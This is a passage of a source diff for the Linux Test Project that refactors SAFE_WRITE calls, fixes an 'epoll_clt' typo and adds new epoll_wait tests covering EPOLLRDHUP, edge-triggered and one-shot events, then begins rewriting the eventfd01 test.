SAFE_WRITE(1, fd1, filename1, strlen(filename1)); + SAFE_WRITE(SAFE_WRITE_ALL, fd1, filename1, strlen(filename1)); fd0 = SAFE_OPEN(filename0, O_RDONLY); SAFE_FCNTL(fd0, F_SETFD, 1); diff --git a/testcases/kernel/syscalls/dup2/dup204.c b/testcases/kernel/syscalls/dup2/dup204.c index 0fb6b0dc..112ce0c9 100755 --- a/testcases/kernel/syscalls/dup2/dup204.c +++ b/testcases/kernel/syscalls/dup2/dup204.c @@ -35,23 +35,14 @@ static void run(unsigned int i) { struct stat oldbuf, newbuf; - TEST(dup2(fd[i], nfd[i])); - if (TST_RET == -1) { - tst_res(TFAIL, "call failed unexpectedly"); + TST_EXP_VAL(dup2(fd[i], nfd[i]), nfd[i]); + if (TST_RET == -1) return; - } SAFE_FSTAT(fd[i], &oldbuf); SAFE_FSTAT(nfd[i], &newbuf); - if (oldbuf.st_ino != newbuf.st_ino) - tst_res(TFAIL, - "original inode(%ld) and duped inode(%ld) do not match", - oldbuf.st_ino, newbuf.st_ino); - else - tst_res(TPASS, - "original inode(%ld) and duped inode(%ld) are the same", - oldbuf.st_ino, newbuf.st_ino); + TST_EXP_EQ_LU(oldbuf.st_ino, newbuf.st_ino); SAFE_CLOSE(TST_RET); } diff --git a/testcases/kernel/syscalls/dup2/dup207.c b/testcases/kernel/syscalls/dup2/dup207.c index d11b78b0..f1b184f5 100755 --- a/testcases/kernel/syscalls/dup2/dup207.c +++ b/testcases/kernel/syscalls/dup2/dup207.c @@ -35,7 +35,7 @@ static struct tcase { static void setup(void) { ofd = SAFE_OPEN("testfile", O_RDWR | O_CREAT, 0644); - SAFE_WRITE(1, ofd, WRITE_STR, sizeof(WRITE_STR) - 1); + SAFE_WRITE(SAFE_WRITE_ALL, ofd, WRITE_STR, sizeof(WRITE_STR) - 1); } static void cleanup(void) diff --git a/testcases/kernel/syscalls/epoll_create1/epoll_create1_01.c b/testcases/kernel/syscalls/epoll_create1/epoll_create1_01.c index ed359d43..6d2bf2a3 100755 --- a/testcases/kernel/syscalls/epoll_create1/epoll_create1_01.c +++ b/testcases/kernel/syscalls/epoll_create1/epoll_create1_01.c @@ -44,7 +44,6 @@ static void run(unsigned int n) } static struct tst_test test = { - .min_kver = "2.6.27", .tcnt = ARRAY_SIZE(tc), .test = run, }; diff --git a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl01.c b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl01.c index 099a0f8d..298ed89c 100755 --- a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl01.c +++ b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl01.c @@ -81,7 +81,7 @@ static void check_epoll_ctl(int opt, int exp_num) if (exp_num == 2) events |= EPOLLOUT; - SAFE_WRITE(1, fd[1], write_buf, sizeof(write_buf)); + SAFE_WRITE(SAFE_WRITE_ALL, fd[1], write_buf, sizeof(write_buf)); while (events) { int events_matched = 0; diff --git a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl02.c b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl02.c index fe16ad1c..dcf74bf7 100755 --- a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl02.c +++ b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl02.c @@ -67,7 +67,7 @@ static void setup(void) events[1].data.fd = fd[1]; if (epoll_ctl(epfd, EPOLL_CTL_ADD, fd[0], &events[0])) - tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_ADD, ...)"); + tst_brk(TBROK | TERRNO, "epoll_ctl(..., EPOLL_CTL_ADD, ...)"); } static void cleanup(void) @@ -85,7 +85,7 @@ static void cleanup(void) static void verify_epoll_ctl(unsigned int n) { TST_EXP_FAIL(epoll_ctl(*tc[n].epfd, tc[n].opt, *tc[n].fd, tc[n].event), - tc[n].exp_err, "epoll_clt(...) if %s", tc[n].desc); + tc[n].exp_err, "epoll_ctl(...) if %s", tc[n].desc); } static struct tst_test test = { diff --git a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl03.c b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl03.c index e96960ba..f617295c 100755 --- a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl03.c +++ b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl03.c @@ -55,7 +55,7 @@ static void setup(void) events.data.fd = fds[0]; if (epoll_ctl(epfd, EPOLL_CTL_ADD, fds[0], &events)) - tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_ADD, ...)"); + tst_brk(TBROK | TERRNO, "epoll_ctl(..., EPOLL_CTL_ADD, ...)"); } static void cleanup(void) @@ -74,5 +74,4 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .test_all = run_all, - .min_kver = "2.6.17", }; diff --git a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl04.c b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl04.c index fce754e9..bc015c01 100755 --- a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl04.c +++ b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl04.c @@ -36,7 +36,7 @@ static void setup(void) events.data.fd = epfd; if (epoll_ctl(new_epfd, EPOLL_CTL_ADD, epfd, &events)) - tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_ADD, ...)"); + tst_brk(TBROK | TERRNO, "epoll_ctl(..., EPOLL_CTL_ADD, ...)"); epfd = new_epfd; } @@ -59,7 +59,8 @@ static void verify_epoll_ctl(void) events.data.fd = epfd; TST_EXP_FAIL(epoll_ctl(new_epfd, EPOLL_CTL_ADD, epfd, &events), EINVAL, - "epoll_clt(..., EPOLL_CTL_ADD, ...) with number of nesting is 5"); + "epoll_ctl(..., EPOLL_CTL_ADD, ...) with number of nesting is 5"); + SAFE_CLOSE(new_epfd); } static struct tst_test test = { diff --git a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl05.c b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl05.c index d03009cf..71e300da 100755 --- a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl05.c +++ b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl05.c @@ -40,12 +40,12 @@ static void setup(void) events.data.fd = epfd; if (epoll_ctl(new_epfd, EPOLL_CTL_ADD, epfd, &events)) - tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_ADD, ...)"); + tst_brk(TBROK | TERRNO, "epoll_ctl(..., EPOLL_CTL_ADD, ...)"); } events.data.fd = fd[0]; if (epoll_ctl(origin_epfd, EPOLL_CTL_DEL, fd[0], &events)) - tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_DEL, ...)"); + tst_brk(TBROK | TERRNO, "epoll_ctl(..., EPOLL_CTL_DEL, ...)"); } static void cleanup(void) @@ -61,7 +61,7 @@ static void verify_epoll_ctl(void) { events.data.fd = epfd; TST_EXP_FAIL(epoll_ctl(origin_epfd, EPOLL_CTL_ADD, epfd, &events), - ELOOP, "epoll_clt(..., EPOLL_CTL_ADD, ...)"); + ELOOP, "epoll_ctl(..., EPOLL_CTL_ADD, ...)"); } static struct tst_test test = { diff --git a/testcases/kernel/syscalls/epoll_pwait/epoll_pwait01.c b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait01.c index 3097dc3e..f3ca894f 100755 --- a/testcases/kernel/syscalls/epoll_pwait/epoll_pwait01.c +++ b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait01.c @@ -63,7 +63,7 @@ static void run(unsigned int n) SAFE_KILL(pid, SIGUSR1); usleep(10000); - SAFE_WRITE(1, sfd[1], "w", 1); + SAFE_WRITE(SAFE_WRITE_ALL, sfd[1], "w", 1); exit(0); } @@ -73,16 +73,10 @@ static void run(unsigned int n) tst_reap_children(); } -static void epoll_pwait_support(void) -{ - if (tst_variant == 0) - epoll_pwait_supported(); - else - epoll_pwait2_supported(); -} - static void setup(void) { + epoll_pwait_init(); + SAFE_SIGEMPTYSET(&signalset); SAFE_SIGADDSET(&signalset, SIGUSR1); @@ -91,9 +85,6 @@ static void setup(void) SAFE_SIGEMPTYSET(&sa.sa_mask); SAFE_SIGACTION(SIGUSR1, &sa, NULL); - epoll_pwait_info(); - epoll_pwait_support(); - SAFE_SOCKETPAIR(AF_UNIX, SOCK_STREAM, 0, sfd); efd = epoll_create(1); @@ -102,7 +93,7 @@ static void setup(void) e.events = EPOLLIN; if (epoll_ctl(efd, EPOLL_CTL_ADD, sfd[0], &e)) - tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_ADD, ...)"); + tst_brk(TBROK | TERRNO, "epoll_ctl(..., EPOLL_CTL_ADD, ...)"); } static void cleanup(void) diff --git a/testcases/kernel/syscalls/epoll_pwait/epoll_pwait02.c b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait02.c index 28180081..3341a2b0 100755 --- a/testcases/kernel/syscalls/epoll_pwait/epoll_pwait02.c +++ b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait02.c @@ -32,7 +32,7 @@ static void run(void) static void setup(void) { - epoll_pwait_info(); + epoll_pwait_init(); SAFE_SOCKETPAIR(AF_UNIX, SOCK_STREAM, 0, sfd); @@ -42,8 +42,8 @@ static void setup(void) e.events = EPOLLIN; if (epoll_ctl(efd, EPOLL_CTL_ADD, sfd[0], &e)) - tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_ADD, ...)"); - SAFE_WRITE(1, sfd[1], "w", 1); + tst_brk(TBROK | TERRNO, "epoll_ctl(..., EPOLL_CTL_ADD, ...)"); + SAFE_WRITE(SAFE_WRITE_ALL, sfd[1], "w", 1); } static void cleanup(void) diff --git a/testcases/kernel/syscalls/epoll_pwait/epoll_pwait03.c b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait03.c index 2ad1a6ab..94b785b1 100755 --- a/testcases/kernel/syscalls/epoll_pwait/epoll_pwait03.c +++ b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait03.c @@ -40,7 +40,7 @@ int sample_fn(int clk_id, long long usec) static void setup(void) { - epoll_pwait_info(); + epoll_pwait_init(); SAFE_SOCKETPAIR(AF_UNIX, SOCK_STREAM, 0, sfd); @@ -50,7 +50,7 @@ static void setup(void) e.events = EPOLLIN; if (epoll_ctl(efd, EPOLL_CTL_ADD, sfd[0], &e)) - tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_ADD, ...)"); + tst_brk(TBROK | TERRNO, "epoll_ctl(..., EPOLL_CTL_ADD, ...)"); } static void cleanup(void) diff --git a/testcases/kernel/syscalls/epoll_pwait/epoll_pwait04.c b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait04.c index 88a9b93d..a75751db 100755 --- a/testcases/kernel/syscalls/epoll_pwait/epoll_pwait04.c +++ b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait04.c @@ -28,7 +28,7 @@ static void run(void) static void setup(void) { - epoll_pwait_info(); + epoll_pwait_init(); SAFE_SOCKETPAIR(AF_UNIX, SOCK_STREAM, 0, sfd); @@ -38,8 +38,8 @@ static void setup(void) e.events = EPOLLIN; if (epoll_ctl(efd, EPOLL_CTL_ADD, sfd[0], &e)) - tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_ADD, ...)"); - SAFE_WRITE(1, sfd[1], "w", 1); + tst_brk(TBROK | TERRNO, "epoll_ctl(..., EPOLL_CTL_ADD, ...)"); + SAFE_WRITE(SAFE_WRITE_ALL, sfd[1], "w", 1); bad_addr = tst_get_bad_addr(NULL); } diff --git a/testcases/kernel/syscalls/epoll_pwait/epoll_pwait05.c b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait05.c index 1373c36e..b75a9953 100755 --- a/testcases/kernel/syscalls/epoll_pwait/epoll_pwait05.c +++ b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait05.c @@ -38,6 +38,8 @@ static void run_all(unsigned int n) static void setup(void) { + epoll_pwait2_supported(); + SAFE_SOCKETPAIR(AF_UNIX, SOCK_STREAM, 0, sfd); efd = epoll_create(1); @@ -46,8 +48,8 @@ static void setup(void) e.events = EPOLLIN; if (epoll_ctl(efd, EPOLL_CTL_ADD, sfd[0], &e)) - tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_ADD, ...)"); - SAFE_WRITE(1, sfd[1], "w", 1); + tst_brk(TBROK | TERRNO, "epoll_ctl(..., EPOLL_CTL_ADD, ...)"); + SAFE_WRITE(SAFE_WRITE_ALL, sfd[1], "w", 1); } static void cleanup(void) diff --git a/testcases/kernel/syscalls/epoll_pwait/epoll_pwait_var.h b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait_var.h index 60ee128c..58a3f15a 100755 --- a/testcases/kernel/syscalls/epoll_pwait/epoll_pwait_var.h +++ b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait_var.h @@ -32,12 +32,15 @@ static int do_epoll_pwait(int epfd, struct epoll_event *events, int } -static void epoll_pwait_info(void) +static void epoll_pwait_init(void) { - if (tst_variant == 0) + if (tst_variant == 0) { tst_res(TINFO, "Test epoll_pwait()"); - else + epoll_pwait_supported(); + } else { tst_res(TINFO, "Test epoll_pwait2()"); + epoll_pwait2_supported(); + } } #endif /* LTP_EPOLL_PWAIT_VAR_H */ diff --git a/testcases/kernel/syscalls/epoll_wait/.gitignore b/testcases/kernel/syscalls/epoll_wait/.gitignore index 222955dd..66ac18ae 100755 --- a/testcases/kernel/syscalls/epoll_wait/.gitignore +++ b/testcases/kernel/syscalls/epoll_wait/.gitignore @@ -2,3 +2,6 @@ epoll_wait01 epoll_wait02 epoll_wait03 epoll_wait04 +epoll_wait05 +epoll_wait06 +epoll_wait07 diff --git a/testcases/kernel/syscalls/epoll_wait/epoll_wait01.c b/testcases/kernel/syscalls/epoll_wait/epoll_wait01.c index 1807bec8..4f843848 100755 --- a/testcases/kernel/syscalls/epoll_wait/epoll_wait01.c +++ b/testcases/kernel/syscalls/epoll_wait/epoll_wait01.c @@ -33,7 +33,7 @@ static int get_writesize(void) memset(buf, 'a', sizeof(buf)); do { - write_size += SAFE_WRITE(0, fds[1], buf, sizeof(buf)); + write_size += SAFE_WRITE(SAFE_WRITE_ANY, fds[1], buf, sizeof(buf)); nfd = poll(pfd, 1, 1); if (nfd == -1) tst_brk(TBROK | TERRNO, "poll() failed"); @@ -136,7 +136,7 @@ static void verify_epollin(void) memset(write_buf, 'a', sizeof(write_buf)); - SAFE_WRITE(1, fds[1], write_buf, sizeof(write_buf)); + SAFE_WRITE(SAFE_WRITE_ALL, fds[1], write_buf, sizeof(write_buf)); TEST(epoll_wait(epfd, &ret_evs, 1, -1)); @@ -176,7 +176,7 @@ static void verify_epollio(void) uint32_t events = EPOLLIN | EPOLLOUT; struct epoll_event ret_evs[2]; - SAFE_WRITE(1, fds[1], write_buf, sizeof(write_buf)); + SAFE_WRITE(SAFE_WRITE_ALL, fds[1], write_buf, sizeof(write_buf)); while (events) { int events_matched = 0; diff --git a/testcases/kernel/syscalls/epoll_wait/epoll_wait02.c b/testcases/kernel/syscalls/epoll_wait/epoll_wait02.c index d2c0b6ef..93ada1cf 100755 --- a/testcases/kernel/syscalls/epoll_wait/epoll_wait02.c +++ b/testcases/kernel/syscalls/epoll_wait/epoll_wait02.c @@ -50,7 +50,7 @@ static void setup(void) epevs[0].data.fd = fds[0]; if (epoll_ctl(epfd, EPOLL_CTL_ADD, fds[0], &epevs[0])) - tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_ADD, ...)"); + tst_brk(TBROK | TERRNO, "epoll_ctl(..., EPOLL_CTL_ADD, ...)"); } static void cleanup(void) diff --git a/testcases/kernel/syscalls/epoll_wait/epoll_wait03.c b/testcases/kernel/syscalls/epoll_wait/epoll_wait03.c index 4b21aba4..d31e4986 100755 --- a/testcases/kernel/syscalls/epoll_wait/epoll_wait03.c +++ b/testcases/kernel/syscalls/epoll_wait/epoll_wait03.c @@ -57,7 +57,7 @@ static void setup(void) epevs[0].data.fd = fds[1]; if (epoll_ctl(epfd, EPOLL_CTL_ADD, fds[1], &epevs[0])) - tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_ADD, ...)"); + tst_brk(TBROK | TERRNO, "epoll_ctl(..., EPOLL_CTL_ADD, ...)"); } static void verify_epoll_wait(unsigned int n) diff --git a/testcases/kernel/syscalls/epoll_wait/epoll_wait04.c b/testcases/kernel/syscalls/epoll_wait/epoll_wait04.c index dc62e920..bd8baca2 100755 --- a/testcases/kernel/syscalls/epoll_wait/epoll_wait04.c +++ b/testcases/kernel/syscalls/epoll_wait/epoll_wait04.c @@ -49,7 +49,7 @@ static void setup(void) epevs[0].data.fd = fds[0]; if (epoll_ctl(epfd, EPOLL_CTL_ADD, fds[0], &epevs[0])) - tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_ADD, ...)"); + tst_brk(TBROK | TERRNO, "epoll_ctl(..., EPOLL_CTL_ADD, ...)"); } static void cleanup(void) diff --git a/testcases/kernel/syscalls/epoll_wait/epoll_wait05.c b/testcases/kernel/syscalls/epoll_wait/epoll_wait05.c new file mode 100644 index 00000000..d06a024f --- /dev/null +++ b/testcases/kernel/syscalls/epoll_wait/epoll_wait05.c @@ -0,0 +1,126 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Verify that epoll receives EPOLLRDHUP event when we hang a reading + * half-socket we are polling on. + */ + +#include "tst_test.h" +#include "tst_net.h" +#include "tst_epoll.h" + +static int epfd; +static int sockfd_client; +static int sockfd_server; +static in_port_t *sock_port; + +static void create_server(void) +{ + int sockfd_server; + socklen_t len; + struct sockaddr_in serv_addr; + struct sockaddr_in sin; + + tst_init_sockaddr_inet_bin(&serv_addr, INADDR_ANY, 0); + + sockfd_server = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0); + SAFE_BIND(sockfd_server, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); + SAFE_LISTEN(sockfd_server, 10); + + len = sizeof(sin); + memset(&sin, 0, sizeof(struct sockaddr_in)); + SAFE_GETSOCKNAME(sockfd_server, (struct sockaddr *)&sin, &len); + + *sock_port = ntohs(sin.sin_port); + + tst_res(TINFO, "Listening on port %d", *sock_port); + + TST_CHECKPOINT_WAKE_AND_WAIT(0); + + SAFE_CLOSE(sockfd_server); +} + +static void run(void) +{ + struct sockaddr_in client_addr; + struct epoll_event evt_req; + struct epoll_event evt_rec; + int ret; + + if (!SAFE_FORK()) { + create_server(); + return; + } + + TST_CHECKPOINT_WAIT(0); + + tst_res(TINFO, "Connecting to port %d", *sock_port); + + sockfd_client = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0); + + tst_init_sockaddr_inet(&client_addr, "127.0.0.1", *sock_port); + + SAFE_CONNECT(sockfd_client, + (struct sockaddr *)&client_addr, + sizeof(client_addr)); + + tst_res(TINFO, "Polling on socket"); + + epfd = SAFE_EPOLL_CREATE1(0); + evt_req.events = EPOLLRDHUP; + SAFE_EPOLL_CTL(epfd, EPOLL_CTL_ADD, sockfd_client, &evt_req); + + tst_res(TINFO, "Hang socket"); + + TST_EXP_PASS_SILENT(shutdown(sockfd_client, SHUT_RD)); + ret = SAFE_EPOLL_WAIT(epfd, &evt_rec, 1, 2000); + if (ret != 1) { + tst_res(TFAIL, "Wrong number of events reported %i", ret); + goto exit; + } + + if (evt_rec.events & EPOLLRDHUP) + tst_res(TPASS, "Received EPOLLRDHUP"); + else + tst_res(TFAIL, "EPOLLRDHUP has not been received"); + +exit: + SAFE_CLOSE(epfd); + SAFE_CLOSE(sockfd_client); + + TST_CHECKPOINT_WAKE(0); +} + +static void setup(void) +{ + sock_port = SAFE_MMAP(NULL, sizeof(in_port_t), PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_ANONYMOUS, -1, 0); +} + +static void cleanup(void) +{ + if (sock_port) + SAFE_MUNMAP(sock_port, sizeof(in_port_t)); + + if (fcntl(sockfd_client, F_GETFD) > 0) + SAFE_CLOSE(sockfd_client); + + if (fcntl(sockfd_server, F_GETFD) > 0) + SAFE_CLOSE(sockfd_server); + + if (fcntl(epfd, F_GETFD) > 0) + SAFE_CLOSE(epfd); +} + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .test_all = run, + .forks_child = 1, + .needs_checkpoints = 1, +}; diff --git a/testcases/kernel/syscalls/epoll_wait/epoll_wait06.c b/testcases/kernel/syscalls/epoll_wait/epoll_wait06.c new file mode 100644 index 00000000..f35e0423 --- /dev/null +++ b/testcases/kernel/syscalls/epoll_wait/epoll_wait06.c @@ -0,0 +1,107 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Verify that edge triggering is correctly handled by epoll, for both EPOLLIN + * and EPOLLOUT. + * + * [Algorithm] + * + * - The file descriptors for non-blocking pipe are registered on an epoll + * instance. + * - A pipe writer writes data on the write side of the pipe. + * - A call to epoll_wait() is done that will return a EPOLLIN event. + * - The pipe reader reads half of data from rfd. + * - A call to epoll_wait() should hang because there's data left to read. + * - The pipe reader reads remaining data from rfd. + * - A call to epoll_wait() should return a EPOLLOUT event. + */ + +#define _GNU_SOURCE + +#include +#include "tst_test.h" +#include "tst_epoll.h" + +static size_t write_size; +static size_t read_size; +static int fds[2]; +static int epfd; + +static void setup(void) +{ + write_size = getpagesize(); + read_size = write_size / 2; + + SAFE_PIPE2(fds, O_NONBLOCK); + + /* EPOLLOUT will be raised when buffer became empty after becoming full */ + SAFE_FCNTL(fds[1], F_SETPIPE_SZ, write_size); +} + +static void cleanup(void) +{ + if (epfd > 0) + SAFE_CLOSE(epfd); + + if (fds[0] > 0) + SAFE_CLOSE(fds[0]); + + if (fds[1] > 0) + SAFE_CLOSE(fds[1]); +} + +static void run(void) +{ + char buff[write_size]; + struct epoll_event evt_receive; + + tst_res(TINFO, "Polling on channel with EPOLLET"); + + epfd = SAFE_EPOLL_CREATE1(0); + + SAFE_EPOLL_CTL(epfd, EPOLL_CTL_ADD, fds[0], &((struct epoll_event) { + .events = EPOLLIN | EPOLLET, + .data.fd = fds[0], + })); + SAFE_EPOLL_CTL(epfd, EPOLL_CTL_ADD, fds[1], &((struct epoll_event) { + .events = EPOLLOUT | EPOLLET, + .data.fd = fds[1], + })); + + tst_res(TINFO, "Write bytes on channel: %zu bytes", write_size); + + memset(buff, 'a', write_size); + SAFE_WRITE(SAFE_WRITE_ANY, fds[1], buff, write_size); + TST_EXP_FAIL(write(fds[1], buff, write_size), EAGAIN, "write() failed"); + + TST_EXP_EQ_LI(SAFE_EPOLL_WAIT(epfd, &evt_receive, 1, 0), 1); + TST_EXP_EQ_LI(evt_receive.data.fd, fds[0]); + TST_EXP_EQ_LI(evt_receive.events & EPOLLIN, EPOLLIN); + + tst_res(TINFO, "Read half bytes from channel: %zu bytes", read_size); + + memset(buff, 0, write_size); + SAFE_READ(1, fds[0], buff, read_size); + + TST_EXP_EQ_LI(SAFE_EPOLL_WAIT(epfd, &evt_receive, 1, 0), 0); + + tst_res(TINFO, "Read remaining bytes from channel: %zu bytes", read_size); + + SAFE_READ(1, fds[0], buff + read_size, read_size); + TST_EXP_FAIL(read(fds[0], buff, read_size), EAGAIN, "read() failed"); + + TST_EXP_EQ_LI(SAFE_EPOLL_WAIT(epfd, &evt_receive, 1, 0), 1); + TST_EXP_EQ_LI(evt_receive.data.fd, fds[1]); + TST_EXP_EQ_LI(evt_receive.events & EPOLLOUT, EPOLLOUT); +} + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .test_all = run, +}; diff --git a/testcases/kernel/syscalls/epoll_wait/epoll_wait07.c b/testcases/kernel/syscalls/epoll_wait/epoll_wait07.c new file mode 100644 index 00000000..dfabd0d8 --- /dev/null +++ b/testcases/kernel/syscalls/epoll_wait/epoll_wait07.c @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Verify that EPOLLONESHOT is correctly handled by epoll_wait. + * We open a channel, write in it two times and verify that EPOLLIN has been + * received only once. + */ + +#include +#include +#include "tst_test.h" +#include "tst_epoll.h" + +static int fds[2]; +static int epfd; + +static void cleanup(void) +{ + if (epfd > 0) + SAFE_CLOSE(epfd); + + if (fds[0] > 0) + SAFE_CLOSE(fds[0]); + + if (fds[1] > 0) + SAFE_CLOSE(fds[1]); +} + +static void run(void) +{ + struct epoll_event evt_receive; + char buff = 'a'; + + SAFE_PIPE(fds); + + tst_res(TINFO, "Polling on channel with EPOLLONESHOT"); + + epfd = SAFE_EPOLL_CREATE1(0); + + SAFE_EPOLL_CTL(epfd, EPOLL_CTL_ADD, fds[0], &((struct epoll_event) { + .events = EPOLLIN | EPOLLONESHOT, + .data.fd = fds[0], + })); + + tst_res(TINFO, "Write channel for the 1st time. EPOLLIN expected"); + + SAFE_WRITE(0, fds[1], &buff, 1); + TST_EXP_EQ_LI(SAFE_EPOLL_WAIT(epfd, &evt_receive, 10, 0), 1); + TST_EXP_EQ_LI(evt_receive.events & EPOLLIN, EPOLLIN); + TST_EXP_EQ_LI(evt_receive.data.fd, fds[0]); + + SAFE_READ(1, fds[0], &buff, 1); + TST_EXP_EQ_LI(SAFE_EPOLL_WAIT(epfd, &evt_receive, 10, 0), 0); + + tst_res(TINFO, "Write channel for the 2nd time. No events expected"); + + SAFE_WRITE(0, fds[1], &buff, 1); + TST_EXP_EQ_LI(SAFE_EPOLL_WAIT(epfd, &evt_receive, 10, 0), 0); + + SAFE_CLOSE(epfd); + SAFE_CLOSE(fds[0]); + SAFE_CLOSE(fds[1]); +} + +static struct tst_test test = { + .cleanup = cleanup, + .test_all = run, +}; diff --git a/testcases/kernel/syscalls/eventfd/.gitignore b/testcases/kernel/syscalls/eventfd/.gitignore index db45c67c..4f577370 100755 --- a/testcases/kernel/syscalls/eventfd/.gitignore +++ b/testcases/kernel/syscalls/eventfd/.gitignore @@ -1 +1,6 @@ /eventfd01 +/eventfd02 +/eventfd03 +/eventfd04 +/eventfd05 +/eventfd06 diff --git a/testcases/kernel/syscalls/eventfd/eventfd01.c b/testcases/kernel/syscalls/eventfd/eventfd01.c index 4d888910..b66d6a55 100755 --- a/testcases/kernel/syscalls/eventfd/eventfd01.c +++ b/testcases/kernel/syscalls/eventfd/eventfd01.c @@ -1,740 +1,47 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) 2008 Vijay Kumar B. - * - * Based on testcases/kernel/syscalls/waitpid/waitpid01.c - * Original copyright message: - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * Copyright (c) 2008 Vijay Kumar B. + * Copyright (c) Linux Test Project, 2008-2022 + * Copyright (C) 2023 SUSE LLC Andrea Cervesato */ -/* - * NAME - * eventfd01.c - * - * DESCRIPTION - * Test cases for eventfd syscall. +/*\ + * [Description] * - * USAGE: - * eventfd01 [-c n] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * - * History - * 07/2008 Vijay Kumar - * Initial Version. - * - * Restrictions - * None - */ - -#include "config.h" - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "test.h" -#define CLEANUP cleanup -#include "lapi/syscalls.h" - -TCID_DEFINE(eventfd01); -int TST_TOTAL = 15; - -#ifdef HAVE_LIBAIO -#include - -static void setup(void); - -static int myeventfd(unsigned int initval, int flags) -{ - /* eventfd2 uses FLAGS but eventfd doesn't take FLAGS. */ - return ltp_syscall(__NR_eventfd, initval); -} - -/* - * clear_counter() - clears the counter by performing a dummy read - * @fd: the eventfd + * Verify read operation for eventfd fail with: * - * RETURNS: - * 0 on success, and -1 on failure - */ -static int clear_counter(int fd) -{ - uint64_t dummy; - int ret; - - ret = read(fd, &dummy, sizeof(dummy)); - if (ret == -1) { - if (errno != EAGAIN) { - tst_resm(TINFO | TERRNO, "error clearing counter"); - return -1; - } - } - - return 0; -} - -/* - * set_counter() - sets the count to specified value - * @fd: the eventfd - * @val: the value to be set - * - * Clears the counter and sets the counter to @val. - * - * RETURNS: - * 0 on success, -1 on failure - */ -static int set_counter(int fd, uint64_t val) -{ - int ret; - - ret = clear_counter(fd); - if (ret == -1) - return -1; - - ret = write(fd, &val, sizeof(val)); - if (ret == -1) { - tst_resm(TINFO | TERRNO, "error setting counter value"); - return -1; - } - - return 0; -} - -/* - * Test whether the current value of the counter matches @required. - */ -static void read_test(int fd, uint64_t required) -{ - int ret; - uint64_t val; - - ret = read(fd, &val, sizeof(val)); - if (ret == -1) { - tst_resm(TBROK | TERRNO, "error reading eventfd"); - return; - } - - if (val == required) - tst_resm(TPASS, "counter value matches required"); - else - tst_resm(TFAIL, "counter value mismatch: " - "required: %" PRIu64 ", got: %" PRIu64, required, val); -} - -/* - * Test whether read returns with error EAGAIN when counter is at 0. - */ -static void read_eagain_test(int fd) -{ - int ret; - uint64_t val; - - ret = clear_counter(fd); - if (ret == -1) { - 